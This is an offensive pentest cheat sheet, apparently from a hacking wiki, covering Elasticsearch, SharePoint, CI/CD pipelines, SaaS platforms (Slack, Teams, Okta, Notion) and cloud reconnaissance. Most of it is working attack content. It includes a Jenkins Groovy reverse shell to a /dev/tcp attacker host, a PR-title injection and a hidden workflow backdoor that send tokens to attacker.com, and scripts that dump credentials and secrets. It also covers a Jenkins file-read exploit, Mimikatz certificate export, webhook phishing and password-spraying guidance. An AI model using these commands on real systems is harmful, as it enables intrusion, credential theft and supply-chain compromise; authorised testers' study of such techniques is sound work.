* [SSRF](/enumeration/web/ssrf) - URI parameters can be SSRF vectors


# ELK

## Elasticsearch

### Enum

```
# Check status:
curl -X GET "ELASTICSEARCH-SERVER:9200/"

# Check Auth enabled:
curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user"

# Users:
elastic:changeme
kibana_system
logstash_system
beats_system
apm_system
remote_monitoring_user

# Other endpoints
/_cluster/health
/_cat/indices
/_cat/health

# Interesting endpoints (BE CAREFUL)
/_shutdown
/_cluster/nodes/_master/_shutdown
/_cluster/nodes/_shutdown
/_cluster/nodes/_all/_shutdown
```

### With creds

```
# Using the API key:
curl -H "Authorization: ApiKey <API-KEY>" ELASTICSEARCH-SERVER:9200/

# Get more information about the rights of an user:
curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user/<USERNAME>"

# List all users on the system:
curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user"

# List all roles on the system:
curl -X GET "ELASTICSEARCH-SERVER:9200/_security/role
```

### Internal config files

```
Elasticsearch configuration: /etc/elasticsearch/elasticsearch.yml
Kibana configuration: /etc/kibana/kibana.yml
Logstash configuration: /etc/logstash/logstash.yml
Filebeat configuration: /etc/filebeat/filebeat.yml
Users file: /etc/elasticsearch/users_roles
```

## Kibana

### Basic

```
# Port: 5601
# Config file && users: /etc/kibana/kibana.yml
# Try also with use kibana_system
# Version < 6.6.0 = RCE (https://github.com/LandGrey/CVE-2019-7609/)
```

## Logstash

### Basic

```
# Pipelines config: /etc/logstash/pipelines.yml
# Check pipelines with this property: "config.reload.automatic: true"
# If file wildcard is specified:
###################
input {
  exec {
    command => "whoami"
    interval => 120
  }
}

output {
  file {
    path => "/tmp/output.log"
    codec => rubydebug
  }
}
####################
```


# Sharepoint

Microsoft SharePoint security testing - enumeration, API misconfigurations, and exploitation.

## Enumeration

### Discovery

```bash
# Common SharePoint URLs to check
/_layouts/15/viewlsts.aspx
/_layouts/15/settings.aspx
/_api/web/lists
/_api/web/webs
/_api/web/siteusers
/_api/web/currentuser
/_vti_bin/client.svc
/_vti_bin/spdisco.aspx
/sites/
/_catalogs/

# Check version
/_api/web/
# Look for "MajorVersion" and "MinorVersion" in response

# SharePoint Online detection
/_layouts/15/authenticate.aspx
/personal/  # OneDrive personal sites
```

### User Enumeration

```bash
# Get all site users (if accessible)
curl "https://sharepoint.target.com/_api/web/siteusers" \
  -H "Accept: application/json;odata=verbose"

# Get specific user info
curl "https://sharepoint.target.com/_api/web/siteusers(@v)?@v='i:0%23.f|membership|user@target.com'" \
  -H "Accept: application/json"

# Current user
curl "https://sharepoint.target.com/_api/web/currentuser" \
  -H "Accept: application/json"
```

### List Enumeration

```bash
# Get all lists
curl "https://sharepoint.target.com/_api/web/lists" \
  -H "Accept: application/json"

# Get items from a list
curl "https://sharepoint.target.com/_api/web/lists/getbytitle('Documents')/items" \
  -H "Accept: application/json"

# Get list by GUID
curl "https://sharepoint.target.com/_api/web/lists(guid'LIST-GUID-HERE')/items"
```

## API Misconfigurations

### Exposed REST API

```bash
# Anonymous access to site data
curl "https://sharepoint.target.com/_api/web" -H "Accept: application/json"

# List all subsites
curl "https://sharepoint.target.com/_api/web/webs" -H "Accept: application/json"

# Search API (often exposed)
curl "https://sharepoint.target.com/_api/search/query?querytext='password'" \
  -H "Accept: application/json"
```

### Permission Issues

```bash
# Check permissions
curl "https://sharepoint.target.com/_api/web/effectivebasepermissions" \
  -H "Accept: application/json"

# Check if anonymous access enabled
curl "https://sharepoint.target.com/_api/web/AnonymousAccess"
```

### OData Query Exploitation

```bash
# Filter sensitive data
/_api/web/lists/getbytitle('Users')/items?$filter=Title eq 'admin'

# Select specific fields
/_api/web/lists/getbytitle('Config')/items?$select=Password,ApiKey

# Expand related data
/_api/web/lists/getbytitle('Documents')/items?$expand=File
```

## Common Vulnerabilities

### CVE-2019-0604 (RCE)

```bash
# Affects SharePoint 2010, 2013, 2016, 2019
# Deserialization vulnerability in EntityInstanceIdEncoder

# Detection
curl "https://sharepoint.target.com/_layouts/15/Picker.aspx"

# Exploit requires crafted ASPX page upload
# https://github.com/AhmedMohamedDev/CVE-2019-0604
```

### CVE-2020-0646 (RCE via .NET)

```bash
# .NET deserialization in SharePoint
# Check for vulnerable endpoints accepting XML/SOAP
```

### CVE-2020-16952 (RCE)

```bash
# Affects SharePoint 2013, 2016, 2019
# Remote code execution via malicious document

# Detection - check version and patch level
```

### CVE-2023-29357 (Privilege Escalation)

```bash
# JWT token bypass in SharePoint Server 2019
# Allows authentication bypass

# Check if patch KB5002402 installed
```

## File Access

### Direct File Access

```bash
# Download files
curl "https://sharepoint.target.com/sites/documents/Shared%20Documents/sensitive.docx" -o file.docx

# Access via API
curl "https://sharepoint.target.com/_api/web/getfilebyserverrelativeurl('/sites/documents/file.docx')/$value" -o file.docx
```

### Exposed Directories

```bash
# Common sensitive locations
/sites/IT/
/sites/HR/
/sites/Finance/
/Shared Documents/
/_catalogs/masterpage/
/Style Library/
```

## Authentication Attacks

### NTLM Relay

```bash
# SharePoint often uses NTLM
# Use responder/ntlmrelayx for relay attacks

# Check for NTLM
curl -v https://sharepoint.target.com 2>&1 | grep -i "WWW-Authenticate: NTLM"
```

### Forms Authentication

```bash
# SharePoint Online / ADFS
# Get authentication cookie
curl -X POST "https://login.microsoftonline.com/GetUserRealm.srf" \
  -d "login=user@target.com"
```

## Tools

```bash
# SharePoint enumeration
# https://github.com/AhmedMohamedDev/SPartan
python3 spartan.py -u https://sharepoint.target.com

# https://github.com/AhmedMohamedDev/sharepwn
python3 sharepwn.py -t https://sharepoint.target.com

# Nuclei templates
nuclei -t http/technologies/microsoft/sharepoint* -u https://sharepoint.target.com

# Fuzz endpoints
ffuf -w /usr/share/seclists/Discovery/Web-Content/sharepoint.txt \
  -u https://sharepoint.target.com/FUZZ
```

## References

* [The Lone SharePoint](https://www.crummie5.club/the-lone-sharepoint/)
* [SharePoint API Misconfigurations](https://medium.com/@ujmalhotra95/tales-of-sharepoint-api-misconfigurations-11073ad384fd)

## Related Topics

* [Windows AD](/post-exploitation/windows/ad) - SharePoint often integrated with AD
* [SSRF](/enumeration/web/ssrf) - SharePoint endpoints can be SSRF targets


# CI/CD Security

Security testing for Continuous Integration and Continuous Deployment pipelines.

> **Skill Level**: Intermediate to Advanced\
> **Prerequisites**: Git, YAML, basic DevOps concepts

## Attack Surface

```
CI/CD systems are high-value targets because they:
- Have access to source code
- Store secrets (API keys, credentials)
- Can deploy to production
- Often have elevated cloud permissions
- Trust code from repositories
```

## GitHub Actions

### Secrets Extraction

```yaml
# Secrets accessible via ${{ secrets.NAME }}
# Check for exposed secrets in logs

steps:
  - name: Expose secrets (malicious)
    run: |
      echo "${{ secrets.AWS_ACCESS_KEY }}" | base64
      env | base64
      cat $GITHUB_ENV
```

### Workflow Injection

```yaml
# If workflow uses untrusted input in run: commands
# Example: PR title injection

name: Vulnerable Workflow
on:
  pull_request:
    types: [opened]

jobs:
  greet:
    runs-on: ubuntu-latest
    steps:
      - run: |
          echo "PR Title: ${{ github.event.pull_request.title }}"
          # Attacker sets PR title to: "; curl attacker.com/steal?token=$GITHUB_TOKEN"
```

### GITHUB\_TOKEN Abuse

```bash
# GITHUB_TOKEN has repo access by default
# Can be used for:
# - Push to repo (if not protected)
# - Create issues/PRs
# - Access private packages
# - Read other private repos (in org)

# Check permissions
curl -H "Authorization: token $GITHUB_TOKEN" \
  https://api.github.com/repos/owner/repo

# Exfiltrate repo content
git clone https://x-access-token:${GITHUB_TOKEN}@github.com/org/private-repo.git
```

### Self-Hosted Runner Exploitation

```yaml
# Self-hosted runners may have:
# - Access to internal network
# - Cached credentials
# - Persistent storage between jobs

steps:
  - name: Explore runner
    run: |
      # Check for cached credentials
      find /home -name "*.pem" -o -name "credentials" 2>/dev/null
      cat ~/.aws/credentials
      cat ~/.docker/config.json
      
      # Network enumeration
      ip addr
      cat /etc/hosts
      nmap -sn 10.0.0.0/24
```

### Poisoned Pipeline Execution (PPE)

```
Direct PPE: Attacker modifies workflow file
Indirect PPE: Attacker modifies code that workflow executes

Attack vectors:
1. Compromised PR from fork
2. Compromised dependency
3. Injected build scripts
```

## GitLab CI

### Variable Extraction

```yaml
# .gitlab-ci.yml
stages:
  - exploit

dump_vars:
  stage: exploit
  script:
    - printenv | base64
    - cat $CI_PROJECT_DIR/.gitlab-ci.yml
    - echo $CI_JOB_TOKEN
```

### Runner Token Abuse

```bash
# CI_JOB_TOKEN can:
# - Clone repos in same group
# - Push to container registry
# - Access package registry

# Clone private repo
git clone https://gitlab-ci-token:${CI_JOB_TOKEN}@gitlab.com/group/private-repo.git

# Push to registry
docker login -u gitlab-ci-token -p $CI_JOB_TOKEN registry.gitlab.com
docker push registry.gitlab.com/group/project/image:tag
```

### Protected vs Unprotected Variables

```yaml
# Protected variables only available on protected branches
# Test from unprotected branch to see what's accessible

test:
  script:
    - echo "Protected var: $PROD_API_KEY"  # May be empty
    - echo "Unprotected var: $DEV_API_KEY"  # Accessible
```

## Jenkins

### Script Console RCE

```groovy
// If you have access to /script console
// Full Groovy execution

def cmd = "id"
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout\nerr> $serr"

// Reverse shell
def cmd = ["/bin/bash", "-c", "bash -i >& /dev/tcp/attacker/4444 0>&1"]
cmd.execute()
```

### Credentials Extraction

```groovy
// Dump all credentials from Jenkins
import jenkins.model.*
import com.cloudbees.plugins.credentials.*
import com.cloudbees.plugins.credentials.impl.*

def creds = CredentialsProvider.lookupCredentials(
    com.cloudbees.plugins.credentials.common.StandardUsernameCredentials.class,
    Jenkins.instance,
    null,
    null
)

for (c in creds) {
    println(c.id + ": " + c.username + " / " + c.password)
}
```

### Pipeline Secrets in Logs

```groovy
// Secrets may leak in build logs
pipeline {
    agent any
    environment {
        SECRET = credentials('secret-id')
    }
    stages {
        stage('Build') {
            steps {
                // This may print masked secret
                sh 'echo $SECRET'
                // This may leak it
                sh 'printenv | grep -i secret'
            }
        }
    }
}
```

### CVE-2024-23897 (File Read)

```bash
# Jenkins CLI arbitrary file read
# Affects Jenkins < 2.442, LTS < 2.426.3

java -jar jenkins-cli.jar -s http://jenkins:8080/ help '@/etc/passwd'

# Or via HTTP
curl 'http://jenkins:8080/cli?remoting=false' \
  -d '<jenkins><arg>help</arg><arg>@/etc/passwd</arg></jenkins>'
```

## Azure DevOps

### Variable Groups

```yaml
# azure-pipelines.yml
variables:
  - group: production-secrets  # Links variable group

steps:
  - script: |
      echo "$(PROD_PASSWORD)"  # Access secrets
    displayName: 'Access secrets'
```

### Service Connection Abuse

```yaml
# If pipeline has access to service connections
# Can deploy/access cloud resources

- task: AzureCLI@2
  inputs:
    azureSubscription: 'Production'
    scriptType: 'bash'
    scriptLocation: 'inlineScript'
    inlineScript: |
      az account show
      az keyvault secret list --vault-name prod-vault
```

### Agent Exploitation

```yaml
# Self-hosted agents may have cached credentials
steps:
  - script: |
      cat ~/.azure/credentials
      cat ~/.kube/config
      env | grep -i azure
```

## Artifact Poisoning

### Dependency Confusion

```bash
# Register internal package names on public registry
# When CI runs `npm install`, it may fetch malicious public package

# Check for vulnerable packages
# 1. Find internal package names (package.json, requirements.txt)
# 2. Check if name exists on public registry
# 3. If not, register it with malicious code
```

### Build Cache Poisoning

```yaml
# If build cache is shared between projects
# Poisoned cache can inject malicious artifacts

# Example: npm cache poisoning
- name: Setup Node with cache
  uses: actions/setup-node@v3
  with:
    cache: 'npm'  # Shared cache may be poisoned
```

## Container Registry Attacks

```bash
# Push malicious image to internal registry
# If CI pulls by tag (not digest), can be replaced

# Push malicious image
docker tag malicious:latest registry.internal.com/app:v1.0
docker push registry.internal.com/app:v1.0

# CI job pulls compromised image
docker pull registry.internal.com/app:v1.0
```

## Post-Exploitation

### Lateral Movement

```bash
# From compromised CI runner:

# Find other repos/projects
curl -H "Authorization: token $GITHUB_TOKEN" \
  "https://api.github.com/orgs/company/repos?type=all"

# Access cloud resources
aws sts get-caller-identity
az account list
gcloud projects list

# Pivot to internal services
nmap -sn 10.0.0.0/24
curl http://internal-service.local/
```

### Persistence

```yaml
# Add backdoor to workflow
# Hidden in test or setup step

- name: Setup environment
  run: |
    # Legitimate setup
    npm install
    
    # Hidden backdoor
    curl -s https://attacker.com/beacon?repo=$GITHUB_REPOSITORY &
```

## Detection & Defense

```
Monitor for:
1. Unusual secrets access patterns
2. Modified workflow files
3. New self-hosted runners
4. Unexpected network connections from runners
5. Build artifact changes
6. Service connection usage spikes
```

## Tools

```bash
# CI/CD attack tools

# nord-stream - GitLab/GitHub secrets extraction
https://github.com/AhmedMohamedDev/nord-stream

# Gato - GitHub attack toolkit
https://github.com/AhmedMohamedDev/gato

# pwn-pipeline - Pipeline exploitation
https://github.com/AhmedMohamedDev/pwn-pipeline

# Nuclei CI/CD templates
nuclei -t http/exposures/configs/jenkins-config.yaml
```

## Related Topics

* [GitLab](/enumeration/webservices/gitlab) - GitLab specific attacks
* [Supply Chain](/enumeration/web/supply-chain) - Dependency attacks
* [Cloud](/enumeration/cloud) - CI/CD often has cloud access


# SaaS Testing

Security testing for common SaaS platforms - Slack, Microsoft Teams, Notion, Okta, and other collaboration tools.

## Slack

### Workspace Enumeration

```bash
# Check if workspace exists
curl -s "https://WORKSPACE.slack.com" | grep -i "sign in"

# Find workspaces from email domain
# Some workspaces allow signup from company email

# Enumerate users via Slack API (if you have token)
curl -s "https://slack.com/api/users.list" \
  -H "Authorization: Bearer xoxb-TOKEN"
```

### Token Types

```
xoxb-* : Bot token (most common in leaks)
xoxp-* : User token (full user permissions)
xoxa-* : App token
xoxs-* : Session token
xoxr-* : Refresh token
```

### Token Abuse

```bash
# Test token validity
curl -s "https://slack.com/api/auth.test" \
  -H "Authorization: Bearer xoxb-TOKEN" | jq

# List channels
curl -s "https://slack.com/api/conversations.list" \
  -H "Authorization: Bearer xoxb-TOKEN" | jq '.channels[].name'

# Read channel history
curl -s "https://slack.com/api/conversations.history?channel=C01234567" \
  -H "Authorization: Bearer xoxb-TOKEN" | jq

# Search messages for secrets
curl -s "https://slack.com/api/search.messages?query=password" \
  -H "Authorization: Bearer xoxp-TOKEN" | jq

# List files
curl -s "https://slack.com/api/files.list" \
  -H "Authorization: Bearer xoxb-TOKEN" | jq '.files[].name'
```

### Webhook Exploitation

```bash
# If you find incoming webhook URL
# Can post messages to channel

curl -X POST "https://hooks.slack.com/services/T00/B00/XXXX" \
  -H "Content-Type: application/json" \
  -d '{"text": "Phishing message with <https://attacker.com|legitimate looking link>"}'

# Social engineering via webhook
# Post as "IT Support" or automated system
```

### App Misconfigurations

```
Checks:
1. Apps with excessive permissions (files:read, users:read)
2. Apps installed from unknown sources
3. Workflow webhooks accessible externally
4. Connect apps with broad OAuth scopes
```

## Microsoft Teams

### Tenant Enumeration

```bash
# Check if tenant exists
curl -s "https://login.microsoftonline.com/DOMAIN.com/.well-known/openid-configuration"

# Get tenant ID
curl -s "https://login.microsoftonline.com/DOMAIN.com/v2.0/.well-known/openid-configuration" | jq -r '.issuer'

# Check federation status
curl -s "https://login.microsoftonline.com/getuserrealm.srf?login=user@domain.com"
```

### Token Types

```
- Access tokens (JWT) for Graph API
- Refresh tokens (can get new access tokens)
- Teams-specific tokens
```

### Graph API Abuse

```bash
# With valid access token
# List Teams
curl -s "https://graph.microsoft.com/v1.0/me/joinedTeams" \
  -H "Authorization: Bearer TOKEN" | jq

# List channels in a team
curl -s "https://graph.microsoft.com/v1.0/teams/{team-id}/channels" \
  -H "Authorization: Bearer TOKEN" | jq

# Read channel messages
curl -s "https://graph.microsoft.com/v1.0/teams/{team-id}/channels/{channel-id}/messages" \
  -H "Authorization: Bearer TOKEN" | jq

# Search messages
curl -s "https://graph.microsoft.com/v1.0/me/messages?\$search=\"password\"" \
  -H "Authorization: Bearer TOKEN" | jq
```

### Teams Tab Exploitation

```
1. Custom tabs can load external content
2. If tab URL is controllable → phishing
3. SSO tokens may be passed to tab URLs
4. Check for tabs with sensitive data visible
```

### Incoming Webhook Abuse

```bash
# Post to Teams channel via webhook
curl -H "Content-Type: application/json" \
  -d '{"text": "Test message"}' \
  "https://outlook.office.com/webhook/GUID/IncomingWebhook/..."
```

## Notion

### Workspace Discovery

```bash
# Public pages may leak workspace info
https://notion.so/WORKSPACE/page-name

# API access (if token obtained)
curl -s "https://api.notion.com/v1/users/me" \
  -H "Authorization: Bearer secret_TOKEN" \
  -H "Notion-Version: 2022-06-28"
```

### Token Abuse

```bash
# List all pages
curl -s "https://api.notion.com/v1/search" \
  -H "Authorization: Bearer secret_TOKEN" \
  -H "Notion-Version: 2022-06-28" \
  -H "Content-Type: application/json" \
  -d '{"query": ""}' | jq

# Read page content
curl -s "https://api.notion.com/v1/blocks/{block-id}/children" \
  -H "Authorization: Bearer secret_TOKEN" \
  -H "Notion-Version: 2022-06-28" | jq

# Search for sensitive content
curl -s "https://api.notion.com/v1/search" \
  -H "Authorization: Bearer secret_TOKEN" \
  -H "Notion-Version: 2022-06-28" \
  -d '{"query": "password"}' | jq
```

### Public Page Enumeration

```bash
# Find public Notion pages via Google dorks
site:notion.so "COMPANY"
site:notion.so/WORKSPACE

# Check sharing settings on discovered pages
# Public pages may expose internal docs
```

## Okta / Auth0

### Tenant Enumeration

```bash
# Okta
curl -s "https://COMPANY.okta.com/.well-known/openid-configuration"

# Auth0
curl -s "https://COMPANY.auth0.com/.well-known/openid-configuration"
```

### User Enumeration

```bash
# Okta password reset enumeration
# Different response for valid/invalid users

curl -X POST "https://COMPANY.okta.com/api/v1/authn/recovery/password" \
  -H "Content-Type: application/json" \
  -d '{"username": "test@company.com"}'

# Timing attacks on login
# Valid users may have different response times
```

### OAuth Misconfigurations

```bash
# Check for open redirect in authorize endpoint
https://COMPANY.okta.com/oauth2/v1/authorize?
  client_id=X&
  redirect_uri=https://attacker.com&
  response_type=code

# Check for lax redirect_uri validation
redirect_uri=https://legitimate.com.attacker.com
redirect_uri=https://legitimate.com%40attacker.com
redirect_uri=https://legitimate.com/../attacker.com
```

### API Token Abuse

```bash
# If you obtain Okta API token
# Can enumerate entire organization

# List users
curl -s "https://COMPANY.okta.com/api/v1/users" \
  -H "Authorization: SSWS TOKEN" | jq

# List groups
curl -s "https://COMPANY.okta.com/api/v1/groups" \
  -H "Authorization: SSWS TOKEN" | jq

# List applications
curl -s "https://COMPANY.okta.com/api/v1/apps" \
  -H "Authorization: SSWS TOKEN" | jq
```

## Confluence

### Enumeration

```bash
# Check for public spaces
https://COMPANY.atlassian.net/wiki/spaces

# API endpoints
/rest/api/content
/rest/api/space
/rest/api/user
```

### Exposed Content

```bash
# Search for sensitive content
curl -s "https://COMPANY.atlassian.net/wiki/rest/api/content/search?cql=text~password" \
  -H "Authorization: Basic BASE64_CREDS" | jq

# Export space (if permitted)
curl -s "https://COMPANY.atlassian.net/wiki/rest/api/space/SPACE/content" \
  -H "Authorization: Basic BASE64_CREDS" | jq
```

## Jira

### Project Enumeration

```bash
# List projects
curl -s "https://COMPANY.atlassian.net/rest/api/2/project" \
  -H "Authorization: Basic BASE64" | jq '.[].key'

# Search issues
curl -s "https://COMPANY.atlassian.net/rest/api/2/search?jql=text~password" \
  -H "Authorization: Basic BASE64" | jq

# Get issue details
curl -s "https://COMPANY.atlassian.net/rest/api/2/issue/PROJ-123" \
  -H "Authorization: Basic BASE64" | jq
```

## Google Workspace

### Drive Enumeration

```bash
# Search shared drives
curl -s "https://www.googleapis.com/drive/v3/files?q=name contains 'password'" \
  -H "Authorization: Bearer TOKEN"

# List shared files
curl -s "https://www.googleapis.com/drive/v3/files?q=sharedWithMe" \
  -H "Authorization: Bearer TOKEN"
```

### Admin API (if admin)

```bash
# List users
curl -s "https://admin.googleapis.com/admin/directory/v1/users?domain=company.com" \
  -H "Authorization: Bearer TOKEN"

# Get user details
curl -s "https://admin.googleapis.com/admin/directory/v1/users/user@company.com" \
  -H "Authorization: Bearer TOKEN"
```

## Common Attack Patterns

### Token/Credential Hunting

```bash
# Search GitHub for leaked tokens
"xoxb-" OR "xoxp-" org:company
"hooks.slack.com/services" org:company
"notion.so/api" org:company
"SSWS" "okta.com" org:company

# Search in config files
trufflehog git https://github.com/company/repo
gitleaks detect
```

### Phishing via Integrations

```
1. Create malicious OAuth app
2. Request permissions from victim
3. Once authorized, access their data
4. Use legitimate-looking app names
```

### Workspace Takeover

```
1. Find admin with weak password
2. Compromise via password spray
3. Add your app/integration
4. Maintain persistence via OAuth
```

## Tools

```bash
# SlackPirate - Slack enumeration
https://github.com/AhmedMohamedDev/SlackPirate

# TeamFiltration - Teams/O365 enumeration
https://github.com/AhmedMohamedDev/TeamFiltration

# ROADtools - Azure AD enumeration
https://github.com/AhmedMohamedDev/ROADtools

# Nuclei templates for SaaS
nuclei -t http/exposures/tokens/
```

## Related Topics

* [OAuth](/enumeration/webservices/oauth) - OAuth vulnerabilities
* [OIDC](/enumeration/webservices/oidc-open-id-connect) - OpenID Connect
* [CI/CD Security](/enumeration/webservices/ci-cd-security) - Often integrates with SaaS


# Others

```
# Laravel RCE
https://github.com/zhzyker/CVE-2021-3129

# Oracle WebLogic
https://github.com/0nise/weblogic-framework
https://github.com/0xn0ne/weblogicScanner

# Jolokia
https://github.com/laluka/jolokia-exploitation-toolkit

# Salesforce
https://github.com/reconstation/sret
https://github.com/cosad3s/salsa
https://infosecwriteups.com/soql-injection-b2c2c624cbbb

# Spring boot
https://tutorialboy24.blogspot.com/2022/02/introduction-to-spring-boot-related.html
https://medium.com/defmax/analyzing-java-heap-dumps-via-oql-queries-fef8a8416017

# SaltStack
https://skylightcyber.com/2023/02/09/a-salt-attacking-saltstack/

# CMS
https://github.com/Tuhinshubhra/CMSeeK
https://github.com/dionach/CMSmap

# Argo workflows
https://www.evasec.io/blog/argo-workflows-uncovering-the-hidden-misconfigurations

# FortiGate SSL-VPN
https://github.com/anasbousselham/fortiscan

# Grafana
https://github.com/Zierax/Grafana-Final-Scanner
```


# Cloud

* [General](/enumeration/cloud/general)
* [AWS](/enumeration/cloud/aws)
* [Azure](/enumeration/cloud/azure)
* [Google Cloud Platform](/enumeration/cloud/gcp)
* [Cloud Info Gathering](/enumeration/cloud/cloud-info-recon)
* [Docker && Kubernetes](/enumeration/cloud/docker-and-and-kubernetes)
* [CDNs](/enumeration/cloud/cdn-comain-fronting)


# General

## Tools

```bash
# Non provider specific and general purpose
# https://github.com/nccgroup/ScoutSuite
# https://github.com/SygniaLabs/security-cloud-scout
# https://github.com/initstring/cloud_enum
python3 cloud_enum.py -k companynameorkeyword
# https://github.com/cyberark/SkyArk
# https://github.com/SecurityFTW/cs-suite
    cd /tmp
    mkdir .aws
    cat > .aws/config <<EOF
        [default]
        output = json
        region = us-east-1
    EOF
    cat > .aws/credentials <<EOF
        [default]
        aws_access_key_id = XXXXXXXXXXXXXXX
        aws_secret_access_key = XXXXXXXXXXXXXXXXXXXXXXXXX
    EOF
    docker run -v `pwd`/.aws:/root/.aws -v `pwd`/reports:/app/reports securityftw/cs-suite -env aws

# Dictionary
https://gist.github.com/BuffaloWill/fa96693af67e3a3dd3fb

Searching for bad configurations

No auditable items:
• DoS testing
• Intense fuzzing
• Phishing the cloud provider’s employees
• Testing other company’s assets
• Etc.
```

## Audit policies

{% embed url="<https://www.microsoft.com/en-us/msrc/pentest-rules-of-engagement>" %}

{% embed url="<https://aws.amazon.com/security/penetration-testing>" %}

{% embed url="<https://support.google.com/cloud/answer/6262505?hl=en>" %}

## Comparison table

![](/files/-M72_DeIDtgGS1HGR4EP)

## Recon

```bash
# PoC from Forward DNS dataset
# This data is created by extracting domain names from a number of sources and then sending DNS queries for each domain.
# https://opendata.rapid7.com/sonar.fdns_v2/
cat CNAME-DATASET-NAME | pigz -dc | grep -E "\.azurewebsites\.com"
cat CNAME-DATASET-NAME | pigz -dc | grep -E "\.s3\.amazonaws\.com"

# https://github.com/99designs/clouddetect
clouddetect -ip=151.101.1.68

• First step should be to determine what services are in use
• More and more orgs are moving assets to the cloud one at a time
• Many have limited deployment to cloud providers, but some have fully embraced the cloud and are using it for AD, production assets, security products, and more
• Determine things like AD connectivity, mail gateways, web apps, file storage, etc.
• Traditional host discovery still applies
• After host discovery resolve all names, then perform whois
lookups to determine where they are hosted
• Microsoft, Amazon, Google IP space usually indicates cloud service usage
   ◇ More later on getting netblock information for each cloud service
• MX records can show cloud-hosted mail providers
• Certificate Transparency (crt.sh)
• Monitors and logs digital certs
• Creates a public, searchable log
• Can help discover additional subdomains
• More importantly… you can potentially find more Top Level Domains (TLD’s)!
• Single cert can be scoped for multiple domains
• Search (Google, Bing, Baidu, DuckDuckGo): site:targetdomain.com -site:www.targetdomain.com
• Shodan.io and Censys.io zoomeye.org
• Internet-wide portscans
• Certificate searches
• Shodan query examples:
   ◇ org:”Target Name”
   ◇ net:”CIDR Range”
   ◇ port:”443”
• DNS Brute Forcing
• Performs lookups on a list of potential subdomains
• Make sure to use quality lists
• SecLists: https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS
• MX Records can help us identify cloud services in use
   ◇ O365 = target-domain.mail.protection.outlook.com
   ◇ G-Suite = google.com | googlemail.com
   ◇ Proofpoint = pphosted.com
• If you find commonalities between subdomains try iterating names
•  Other Services
   ◇ HackerTarget https://hackertarget.com/
   ◇ ThreatCrowd  https://www.threatcrowd.org/
   ◇ DNSDumpster  https://dnsdumpster.com/
   ◇ ARIN Searches  https://whois.arin.net/ui/
      ▪ Search bar accepts wild cards “*”
      ▪ Great for finding other netblocks owned by the same organization
• Azure Netblocks
      ▪ Public: https://www.microsoft.com/en-us/download/details.aspx?id=56519
      ▪ US Gov: http://www.microsoft.com/en-us/download/details.aspx?id=57063
      ▪ Germany: http://www.microsoft.com/en-us/download/details.aspx?id=57064
      ▪ China: http://www.microsoft.com/en-us/download/details.aspx?id=57062
• AWS Netblocks
   ◇ https://ip-ranges.amazonaws.com/ip-ranges.json
• GCP Netblocks
   ◇ Google made it complicated so there’s a script on the next page to get the current IP netblocks.
• Box.com Usage
   ◇ Look for any login portals
      ▪ https://companyname.account.box.com
   ◇ Can find cached Box account data too 
• Employees
   ◇ LinkedIn
   ◇ PowerMeta https://github.com/dafthack/PowerMeta
   ◇ FOCA https://github.com/ElevenPaths/FOCA
   ◇ hunter.io

 Tools:
    • Recon-NG https://github.com/lanmaster53/recon-ng
    • OWASP Amass https://github.com/OWASP/Amass
    • Spiderfoot https://www.spiderfoot.net/
    • Gobuster https://github.com/OJ/gobuster
    • Sublist3r https://github.com/aboul3la/Sublist3r

Foothold:
• Find ssh keys in shhgit.darkport.co.uk https://github.com/eth0izzle/shhgit
• GitLeaks https://github.com/zricethezav/gitleaks
• Gitrob https://github.com/michenriksen/gitrob
• Truffle Hog https://github.com/dxa4481/truffleHog

Password attacks:
• Password Spraying
   ◇ Trying one password for every user at an org to avoid account lockouts (Spring2020)
• Most systems have some sort of lockout policy
   ◇ Example: 5 attempts in 30 mins = lockout
• If we attempt to auth as each individual username one time every 30 mins we lockout nobody
• Credential Stuffing
   ◇ Using previously breached credentials to attempt to exploit password reuse on corporate accounts
• People tend to reuse passwords for multiple sites including corporate accounts
• Various breaches end up publicly posted
• Search these and try out creds
• Try iterating creds

Web server explotation
• Out-of-date web technologies with known vulns
• SQL or command injection vulns
• Server-Side Request Forgery (SSRF)
• Good place to start post-shell:
• Creds in the Metadata Service
• Certificates
• Environment variables
• Storage accounts
• Reused access certs as private keys on web servers
   ◇ Compromise web server
   ◇ Extract certificate with Mimikatz
   ◇ Use it to authenticate to Azure
• Mimikatz can export “non-exportable” certificates:
    mimikatz# crypto::capi
    mimikatz# privilege::debug
    mimikatz# crypto::cng
    mimikatz# crypto::certificates /systemstore:local_machine /store:my /export

Phising
• Phishing is still the #1 method of compromise
• Target Cloud engineers, Developers, DevOps, etc.
• Two primary phishing techniques:
   ◇ Cred harvesting / session hijacking
   ◇ Remote workstation compromise w/ C2
• Attack designed to steal creds and/or session cookies
• Can be useful when security protections prevent getting shells
• Email a link to a target employee pointing to cloned auth portal
   ◇ Examples: Microsoft Online (O365, Azure, etc.), G-Suite, AWS Console
• They auth and get real session cookies… we get them too.

Phishing: Remote Access
• Phish to compromise a user’s workstation
• Enables many other options for gaining access to cloud resources
• Steal access tokens from disk
• Session hijack
• Keylog
• Web Config and App Config files
   ◇ Commonly found on pentests to include cleartext creds
   ◇ WebApps often need read/write access to cloud storage or DBs
   ◇ Web.config and app.config files might contain creds or access tokens
   ◇ Look for management cert and extract to pfx like publishsettings files
   ◇ Often found in root folder of webapp
• Internal Code Repositories
   ◇ Gold mine for keys
   ◇ Find internal repos:
      ▪ A. Portscan internal web services (80, 443, etc.) then use EyeWitness to screenshot each service to quickly analyze
      ▪ B. Query AD for all hostnames, look for subdomains git, code, repo, bitbucket, gitlab, etc..
   ◇ Can use automated tools (gitleaks, trufflehog, gitrob) or use built-in search features
      ▪ Search for AccessKey, AKIA, id_rsa, credentials, secret, password, and token
• Command history
• The commands ran previously may indicate where to look
• Sometimes creds get passed to the command line
• Linux hosts command history is here:
   ◇ ~/.bash_history
• PowerShell command history is here:
   ◇ %USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

Post-Compromise Recon
• Who do we have access as?
• What roles do we have?
• Is MFA enabled?
• What can we access (webapps, storage, etc.?)
• Who are the admins?
• How are we going to escalate to admin?
• Any security protections in place (ATP, GuardDuty, etc.)?

Service metadata summary
AWS
http://169.254.169.254/metadata/v1/*
Google Cloud
http://metadata.google.internal/computeMetadata/v1/*
DigitalOcean 
http://169.254.169.254/metadata/v1/*
Docker 
http://127.0.0.1:2375/v1.24/containers/json
